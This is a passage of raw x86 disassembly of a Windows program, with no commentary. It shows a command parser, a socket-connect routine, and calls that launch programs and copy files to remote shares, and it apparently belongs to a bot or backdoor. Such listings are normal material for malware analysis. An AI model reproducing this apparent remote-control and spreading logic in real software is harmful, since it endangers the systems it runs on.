call sub_401226 mov ecx, [esp+4Ch+var_C] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 40h retn sub_41B950 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_41BC20: ; CODE XREF: ___:00401569j mov al, [esp+4] cmp al, 20h jz short loc_41BC2F cmp al, 9 jz short loc_41BC2F xor al, al retn ; --------------------------------------------------------------------------- loc_41BC2F: ; CODE XREF: ___:0041BC26j ; ___:0041BC2Aj mov al, 1 retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_41BC50: ; CODE XREF: ___:00401ED8j mov eax, [esp+4] push offset dword_443E7C push eax call near ptr 77C3F010h nop add esp, 8 test eax, eax jz short loc_41BC74 push eax call near ptr 77C40AB1h nop add esp, 4 mov al, 1 retn ; --------------------------------------------------------------------------- loc_41BC74: ; CODE XREF: ___:0041BC65j xor al, al retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41BC90 proc near ; CODE XREF: sub_401479j var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_20 = byte ptr -20h arg_0 = dword ptr 4 sub esp, 30h push ebx push ebp push esi push edi mov edi, [esp+40h+arg_0] test edi, edi jz loc_41BEEE mov esi, offset byte_446F60 mov eax, edi loc_41BCAA: ; CODE XREF: sub_41BC90+3Cj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_41BCD2 test cl, cl jz short loc_41BCCE mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_41BCD2 add eax, 2 add esi, 2 test cl, cl jnz short loc_41BCAA loc_41BCCE: ; CODE XREF: sub_41BC90+26j xor eax, eax jmp short loc_41BCD7 ; --------------------------------------------------------------------------- loc_41BCD2: ; CODE XREF: sub_41BC90+22j ; sub_41BC90+32j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BCD7: ; CODE XREF: sub_41BC90+40j test eax, eax jz loc_41BEEE push 20h lea eax, [esp+44h+var_20] push edi push eax nop call near ptr 77C47A90h mov edi, dword_50FAF4 lea ecx, [esp+4Ch+var_20] push offset dword_443DC4 push ecx call edi ; strtok add esp, 14h mov [esp+40h+var_30], eax test eax, eax jz loc_41BEEE mov ebx, 1 lea esi, [esp+40h+var_2C] loc_41BD17: ; CODE XREF: sub_41BC90+A4j push offset dword_443DC4 push 0 call edi ; strtok add esp, 8 mov [esi], eax test eax, eax jz loc_41BEEE inc ebx add esi, 4 cmp ebx, 4 jl short loc_41BD17 mov ebp, [esp+40h+var_30] mov esi, offset dword_443E98 mov eax, ebp loc_41BD41: ; CODE XREF: sub_41BC90+D3j mov cl, [eax] mov bl, [esi] mov dl, cl cmp cl, bl jnz short loc_41BD69 test dl, dl jz short loc_41BD65 mov cl, [eax+1] mov bl, [esi+1] mov dl, cl cmp cl, bl jnz short loc_41BD69 add eax, 2 add esi, 2 test dl, dl jnz short loc_41BD41 loc_41BD65: ; CODE XREF: sub_41BC90+BDj xor eax, eax jmp short loc_41BD6E ; --------------------------------------------------------------------------- loc_41BD69: ; CODE XREF: sub_41BC90+B9j ; sub_41BC90+C9j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BD6E: ; CODE XREF: sub_41BC90+D7j test eax, eax jnz short loc_41BD7C pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BD7C: ; CODE XREF: sub_41BC90+E0j mov esi, offset dword_443E94 mov eax, ebp loc_41BD83: ; CODE XREF: sub_41BC90+115j mov cl, [eax] mov bl, [esi] mov dl, cl cmp cl, bl jnz short loc_41BDAB test dl, dl jz short loc_41BDA7 mov cl, [eax+1] mov bl, [esi+1] mov dl, cl cmp cl, bl jnz short loc_41BDAB add eax, 2 add esi, 2 test dl, dl jnz short loc_41BD83 loc_41BDA7: ; CODE XREF: sub_41BC90+FFj xor eax, eax jmp short loc_41BDB0 ; --------------------------------------------------------------------------- loc_41BDAB: ; CODE XREF: sub_41BC90+FBj ; sub_41BC90+10Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BDB0: ; CODE XREF: sub_41BC90+119j mov edi, [esp+40h+var_2C] test eax, eax jnz short loc_41BDFA mov esi, offset dword_443E90 mov edx, edi loc_41BDBF: ; CODE XREF: sub_41BC90+151j mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BDE7 test bl, bl jz short loc_41BDE3 mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BDE7 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BDBF loc_41BDE3: ; CODE XREF: sub_41BC90+13Bj xor edx, edx jmp short loc_41BDEC ; --------------------------------------------------------------------------- loc_41BDE7: ; CODE XREF: sub_41BC90+137j ; sub_41BC90+147j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BDEC: ; CODE XREF: sub_41BC90+155j test edx, edx jnz short loc_41BDFA pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BDFA: ; CODE XREF: sub_41BC90+126j ; sub_41BC90+15Ej mov esi, offset dword_443E8C mov edx, ebp loc_41BE01: ; CODE XREF: sub_41BC90+193j mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BE29 test bl, bl jz short loc_41BE25 mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BE29 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BE01 loc_41BE25: ; CODE XREF: sub_41BC90+17Dj xor edx, edx jmp short loc_41BE2E ; --------------------------------------------------------------------------- loc_41BE29: ; CODE XREF: sub_41BC90+179j ; sub_41BC90+189j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BE2E: ; CODE XREF: sub_41BC90+197j test edx, edx jnz short loc_41BE74 mov esi, offset dword_443E88 mov edx, edi loc_41BE39: ; CODE XREF: sub_41BC90+1CBj mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BE61 test bl, bl jz short loc_41BE5D mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BE61 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BE39 loc_41BE5D: ; CODE XREF: sub_41BC90+1B5j xor edx, edx jmp short loc_41BE66 ; --------------------------------------------------------------------------- loc_41BE61: ; CODE XREF: sub_41BC90+1B1j ; sub_41BC90+1C1j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BE66: ; CODE XREF: sub_41BC90+1CFj test edx, edx jnz short loc_41BE74 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BE74: ; CODE XREF: sub_41BC90+1A0j ; sub_41BC90+1D8j mov esi, offset dword_443E84 mov ecx, ebp loc_41BE7B: ; CODE XREF: sub_41BC90+20Dj mov al, [ecx] mov bl, [esi] mov dl, al cmp al, bl jnz short loc_41BEA3 test dl, dl jz short loc_41BE9F mov al, [ecx+1] mov bl, [esi+1] mov dl, al cmp al, bl jnz short loc_41BEA3 add ecx, 2 add esi, 2 test dl, dl jnz short loc_41BE7B loc_41BE9F: ; CODE XREF: sub_41BC90+1F7j xor ecx, ecx jmp short loc_41BEA8 ; --------------------------------------------------------------------------- loc_41BEA3: ; CODE XREF: sub_41BC90+1F3j ; sub_41BC90+203j sbb ecx, ecx sbb ecx, 0FFFFFFFFh loc_41BEA8: ; CODE XREF: sub_41BC90+211j test ecx, ecx jnz short loc_41BEEE mov esi, offset dword_443E80 mov eax, edi loc_41BEB3: ; CODE XREF: sub_41BC90+245j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_41BEDB test cl, cl jz short loc_41BED7 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_41BEDB add eax, 2 add esi, 2 test cl, cl jnz short loc_41BEB3 loc_41BED7: ; CODE XREF: sub_41BC90+22Fj xor eax, eax jmp short loc_41BEE0 ; --------------------------------------------------------------------------- loc_41BEDB: ; CODE XREF: sub_41BC90+22Bj ; sub_41BC90+23Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BEE0: ; CODE XREF: sub_41BC90+249j test eax, eax jnz short loc_41BEEE pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BEEE: ; CODE XREF: sub_41BC90+Dj ; sub_41BC90+49j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 30h retn sub_41BC90 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41BFA0 proc near ; CODE XREF: sub_402004j var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push ebx push esi push 6 push 1 push 2 xor bl, bl nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_41C008 cmp esi, 0FFFFFFFFh jz short loc_41C008 mov eax, [esp+18h+arg_0] push eax nop call near ptr 71AB2BF4h mov ecx, [esp+18h+arg_4] mov [esp+18h+var_C], eax push ecx nop call near ptr 71AB2B66h lea edx, [esp+18h+var_10] push 10h push edx push esi mov [esp+24h+var_E], ax mov [esp+24h+var_10], 2 call near ptr 71AB406Ah nop test eax, eax jnz short loc_41BFF9 mov bl, 1 loc_41BFF9: ; CODE XREF: sub_41BFA0+55j push esi call near ptr 71AB9639h nop mov al, bl pop esi pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_41C008: ; CODE XREF: sub_41BFA0+18j ; sub_41BFA0+1Dj pop esi xor al, al pop ebx add esp, 10h retn sub_41BFA0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C030 proc near ; CODE XREF: sub_401299j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push 0 push 0 push eax push ecx push offset aOpen ; "open" push 0 nop call near ptr 7CA41110h cmp eax, 20h setnl al retn sub_41C030 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C070 proc near ; CODE XREF: sub_402149j var_54 = byte ptr -54h var_44 = dword ptr -44h var_14 = word ptr -14h arg_0 = dword ptr 4 sub esp, 54h push edi mov ecx, 11h xor eax, eax lea edi, [esp+58h+var_44] rep stosd mov [esp+58h+var_14], ax lea eax, [esp+58h+var_54] mov edx, [esp+58h+arg_0] lea ecx, [esp+58h+var_44] push eax push ecx push 0 push 0 push 28h push 0 push 0 push 0 push edx push 0 mov [esp+80h+var_44], 44h nop call near ptr 2970000h test eax, eax setnle al pop edi add esp, 54h retn sub_41C070 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41C0E0: ; CODE XREF: ___:00401875j sub esp, 354h mov eax, off_443EA4 mov ecx, dword_443EA8 mov [esp+0], eax mov al, byte_446F60 push esi push edi mov [esp+0Ch], ecx mov [esp+14h], al mov ecx, 45h xor eax, eax lea edi, [esp+15h] mov edx, dword_443EAC rep stosd mov ecx, off_443E9C mov [esp+10h], edx mov dx, word_443EA0 mov [esp+12Ch], ecx stosw stosb mov ecx, 8Ah xor eax, eax lea edi, [esp+132h] mov [esp+130h], dx rep stosd mov ecx, [esp+360h] push 0FFh stosw lea eax, [esp+18h] xor edi, edi push eax push 0FFFFFFFFh push ecx push edi push edi nop call near ptr 2920000h mov esi, dword_50FAAC lea edx, [esp+14h] lea eax, [esp+12Ch] push edx push eax call esi ; wcscat lea ecx, [esp+10h] lea edx, [esp+134h] push ecx push edx call esi ; wcscat mov esi, [esp+374h] add esp, 10h lea eax, [esp+12Ch] push edi push offset dword_50BB7C push offset dword_50BB7C push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+14h], eax mov [esi+1Ch], edi call sub_436FA8 ; --------------------------------------------------------------------------- cmp eax, 5 jz short loc_41C1C8 cmp eax, 4C3h jnz short loc_41C1D1 loc_41C1C8: ; CODE XREF: ___:0041C1BFj push edi push edi push edi push esi call sub_436FA8 ; --------------------------------------------------------------------------- loc_41C1D1: ; CODE XREF: ___:0041C1C6j pop edi cmp eax, 5 pop esi jz short loc_41C1E8 cmp eax, 4C3h jz short loc_41C1E8 mov al, 1 add esp, 354h retn ; --------------------------------------------------------------------------- loc_41C1E8: ; CODE XREF: ___:0041C1D6j ; ___:0041C1DDj xor al, al add esp, 354h retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41C250: ; CODE XREF: ___:00401EC9j sub esp, 354h mov eax, off_443EA4 mov ecx, dword_443EA8 mov [esp+0], eax mov al, byte_446F60 push esi push edi mov [esp+0Ch], ecx mov [esp+14h], al mov ecx, 45h xor eax, eax lea edi, [esp+15h] mov edx, dword_443EAC rep stosd mov ecx, off_443E9C mov [esp+10h], edx mov dx, word_443EA0 mov [esp+12Ch], ecx stosw stosb mov ecx, 8Ah xor eax, eax lea edi, [esp+132h] mov [esp+130h], dx rep stosd mov ecx, [esp+360h] push 0FFh stosw lea eax, [esp+18h] push eax push 0FFFFFFFFh push ecx push 0 push 0 nop call near ptr 2920000h mov esi, dword_50FAAC lea edx, [esp+14h] lea eax, [esp+12Ch] push edx push eax call esi ; wcscat lea ecx, [esp+10h] lea edx, [esp+134h] push ecx push edx call esi ; wcscat add esp, 10h lea eax, [esp+12Ch] push 0 push 0 push eax call sub_436FAE ; --------------------------------------------------------------------------- test eax, eax jz short loc_41C338 mov esi, dword_50F8D0 loc_41C31C: ; CODE XREF: ___:0041C336j push 7D0h call esi push 0 lea ecx, [esp+130h] push 0 push ecx call sub_436FAE ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41C31C loc_41C338: ; CODE XREF: ___:0041C314j pop edi mov al, 1 pop esi add esp, 354h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41C390 proc near ; CODE XREF: sub_401D7Fj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41C390 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 0Ch push 4 push 4Fh push 10h push 14h lea eax, [esp+5Ch+var_3C] push 6 mov esi, ecx push eax call sub_4019B5 add esp, 20h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+0BCh] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_41C390 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh push 10h push 14h lea edx, [esp+24h] push 6 push edx call sub_4019B5 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+118h] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 15h push 4Fh push 10h push 14h lea ecx, [esp+20h] push 6 push ecx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017E4 lea edx, [esi+0EAh] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 7 push 4 push 0Ch push 10h push 0Ah push 4Fh push 10h push 14h push 14h lea eax, [esp+30h] push 8 push eax call sub_4019B5 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh push 10h push 14h push 14h lea edx, [esp+28h] push 8 push edx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017E4 push eax lea eax, [esi+60h] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 4 push 43h push 10h push 0Ah push 4Fh push 10h push 14h push 14h lea ecx, [esp+48h] push 8 push ecx call sub_4019B5 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+44h], 5 call sub_4017E4 add esi, 32h push eax push esi mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C610 proc near ; CODE XREF: sub_401064j var_111 = byte ptr -111h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_F4 = byte ptr -0F4h var_DC = byte ptr -0DCh var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_94 = byte ptr -94h var_7C = byte ptr -7Ch var_67 = byte ptr -67h var_52 = byte ptr -52h var_3D = byte ptr -3Dh var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_41C610 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 108h push ebx push ebp mov ebp, ecx push esi push edi lea ecx, [esp+124h+var_10C] call sub_401424 lea ecx, [esp+124h+var_DC] mov [esp+124h+var_4], 0 call sub_401424 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401424 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401424 lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401424 lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_401B36 mov esi, [esp+124h+arg_0] mov bl, 5 lea ecx, [ebp+8Eh] mov byte ptr [esp+124h+var_4], bl lea edi, [esi+7Eh] call sub_4017E4 push eax mov ecx, edi call sub_4012EE lea ecx, [ebp+4] call sub_4017E4 push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_41C83C push offset asc_443600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016AE lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 6 push ecx mov ecx, eax call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE push offset asc_443C84 ; ":" lea ecx, [esp+128h+var_10C] call sub_401A9B mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FBE push 1 push offset asc_443600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 7 call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 8 jz short loc_41C7CC mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41C7CE ; --------------------------------------------------------------------------- loc_41C7CC: ; CODE XREF: sub_41C610+1AFj xor edi, edi loc_41C7CE: ; CODE XREF: sub_41C610+1BAj lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FBE lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FBE lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FBE lea eax, [esi+69h] lea ecx, [edi+7Ah] push eax call sub_401FBE mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 0 mov cl, [esi+93h] mov [edi+92h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+93h], dl call sub_4013D4 loc_41C83C: ; CODE XREF: sub_41C610+C0j lea ecx, [ebp+60h] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41C9BB push offset asc_443600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016AE lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 9 push ecx mov ecx, eax call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE push offset asc_443C84 ; ":" lea ecx, [esp+128h+var_10C] call sub_401A9B mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FBE push 1 push offset asc_443600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 0Ah call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 0Bh jz short loc_41C94B mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41C94D ; --------------------------------------------------------------------------- loc_41C94B: ; CODE XREF: sub_41C610+32Ej xor edi, edi loc_41C94D: ; CODE XREF: sub_41C610+339j lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FBE lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FBE lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FBE lea eax, [esi+69h] lea ecx, [edi+7Ah] push eax call sub_401FBE mov byte ptr [edi+8Fh], 1 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 0 mov cl, [esi+93h] mov [edi+92h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+93h], dl call sub_4013D4 loc_41C9BB: ; CODE XREF: sub_41C610+23Fj lea ecx, [ebp+32h] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CBF6 push offset asc_443600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016AE lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 0Ch push ecx mov ecx, eax call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE push offset asc_443C84 ; ":" lea ecx, [esp+128h+var_10C] call sub_401A9B mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FBE push 1 push offset asc_443600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 0Dh call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push offset asc_443600 ; " " lea eax, [esp+128h+var_F4] push 3 push eax mov ecx, esi call sub_4016AE push offset word_44758A mov ecx, eax mov byte ptr [esp+128h+var_4], 0Eh call sub_401B72 test eax, eax lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl setz [esp+124h+var_111] call sub_401226 mov al, [esp+124h+var_111] test al, al jz short loc_41CB5E lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014B0 lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_41D212 ; --------------------------------------------------------------------------- loc_41CB5E: ; CODE XREF: sub_41C610+4D6j push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 0Fh jz short loc_41CB86 mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41CB88 ; --------------------------------------------------------------------------- loc_41CB86: ; CODE XREF: sub_41C610+569j xor edi, edi loc_41CB88: ; CODE XREF: sub_41C610+574j lea ecx, [esp+124h+var_10C] mov byte ptr [esp+124h+var_4], bl push ecx lea ecx, [edi+11h] call sub_401FBE lea edx, [esp+124h+var_DC] lea ecx, [edi+26h] push edx call sub_401FBE lea eax, [esp+124h+var_C4] lea ecx, [edi+65h] push eax call sub_401FBE lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FBE mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 1 mov byte ptr [edi+91h], 0 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013D4 loc_41CBF6: ; CODE XREF: sub_41C610+3BEj lea ecx, [ebp+0BCh] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CD9B push offset asc_443600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016AE lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 10h call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FBE lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FBE lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FBE push 1 push offset asc_443600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 11h call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 12h jz short loc_41CD0E mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41CD10 ; --------------------------------------------------------------------------- loc_41CD0E: ; CODE XREF: sub_41C610+6F1j xor edi, edi loc_41CD10: ; CODE XREF: sub_41C610+6FCj lea edx, [esp+124h+var_10C] lea ecx, [edi+11h] push edx mov byte ptr [esp+128h+var_4], bl call sub_401FBE lea eax, [esp+124h+var_DC] lea ecx, [edi+26h] push eax call sub_401FBE lea ecx, [esp+124h+var_C4] push ecx lea ecx, [edi+65h] call sub_401FBE lea edx, [esp+124h+var_AC] lea ecx, [edi+3Bh] push edx call sub_401FBE lea eax, [esp+124h+var_94] lea ecx, [edi+50h] push eax call sub_401FBE lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FBE mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 1 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013D4 loc_41CD9B: ; CODE XREF: sub_41C610+5FCj lea ecx, [ebp+118h] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CF40 push offset asc_443600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016AE lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 13h call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FBE lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FBE lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FBE push 1 push offset 